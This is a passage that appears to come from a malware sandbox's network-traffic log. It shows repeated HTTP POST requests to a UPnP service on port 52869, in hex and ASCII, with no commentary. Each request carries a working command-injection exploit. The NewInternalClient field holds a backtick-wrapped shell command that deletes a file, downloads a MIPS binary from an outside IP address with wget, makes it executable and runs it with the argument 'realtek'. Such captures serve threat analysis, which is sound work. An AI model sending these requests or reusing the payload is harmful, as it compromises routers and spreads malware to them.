6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:01.690927029 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:13.722373009 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:38.553855896 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:27.704207897 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      29192.168.2.154161845.121.213.16752869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:26:51.544250965 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:26:55.802836895 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:01.946695089 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
